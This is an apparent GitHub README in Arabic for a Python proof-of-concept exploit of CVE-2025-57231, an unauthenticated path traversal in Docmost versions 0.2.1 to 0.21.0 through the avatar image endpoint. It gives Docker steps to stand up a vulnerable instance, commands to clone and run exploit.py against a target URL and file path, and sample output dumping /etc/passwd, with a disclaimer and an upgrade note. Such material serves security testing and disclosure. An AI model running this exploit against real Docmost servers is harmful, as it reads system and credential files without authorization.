
استغلال PoC بلغة Python للثغرة CVE-2025-57231، وهي ثغرة اجتياز مسار غير مصادق عليها في Docmost < 0.22.0 تقرأ ملفات عشوائية عبر نقطة نهاية الصورة الرمزية.
يحتوي هذا المستودع على استغلال Proof of Concept (PoC) للثغرة CVE-2025-57231.
يُقدَّم هذا المشروع لأغراض تعليمية واختبارات أمنية مصرّح بها فقط. لا تستخدمه ضد أنظمة لا تملكها أو لا تملك إذنًا باختبارها.
تسمح ثغرة اجتياز المسارات (directory traversal) في Docmost بقراءة ملفات عشوائية من الإصدار 0.2.1 حتى 0.21.0. لا تتحقق نقطة النهاية /api/attachments/img/avatar في التطبيق من مسارات الملفات بشكل صحيح، وهي متاحة للعموم دون أي مصادقة. يتيح ذلك للمهاجمين غير المصادَق عليهم استرجاع محتويات ملفات عشوائية من الهدف عبر استكشاف نقطة النهاية /avatar بتسلسلات %2F.
جميع إصدارات Docmost من 0.2.1 حتى 0.21.0 متأثرة.
المتطلبات المسبقة: تثبيت Docker و Docker compose
mkdir docmost
cd docmost
curl -O https://raw.githubusercontent.com/docmost/docmost/main/docker-compose.yml
# Generate a long random secret key
openssl rand -hex 32
# Open the docker-compose.yml file and make the following changes:
# 1. Replace `image: docmost/docmost:latest` with `image: docmost/docmost:0.21.0`
# 2. Replace `APP_SECRET` with the random secret key generated above
sudo docker-compose up -d
انتقل إلى http://localhost:3000/ وأدخل تفاصيل وهمية لاسم مساحة العمل والاسم والبريد الإلكتروني وكلمة المرور
git clone https://github.com/anirbala98/CVE-2025-57231.git
cd CVE-2025-57231/
pip install -r requirements.txt
python exploit.py <base_url> -f <file location>
python exploit.py http://localhost:3000/ -f /etc/passwd
└─$ python exploit.py http://localhost:3000/ -f /etc/passwd
[*] Attempting to read arbitrary file
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
قم بترقية الإضافة إلى الإصدار 0.22.0.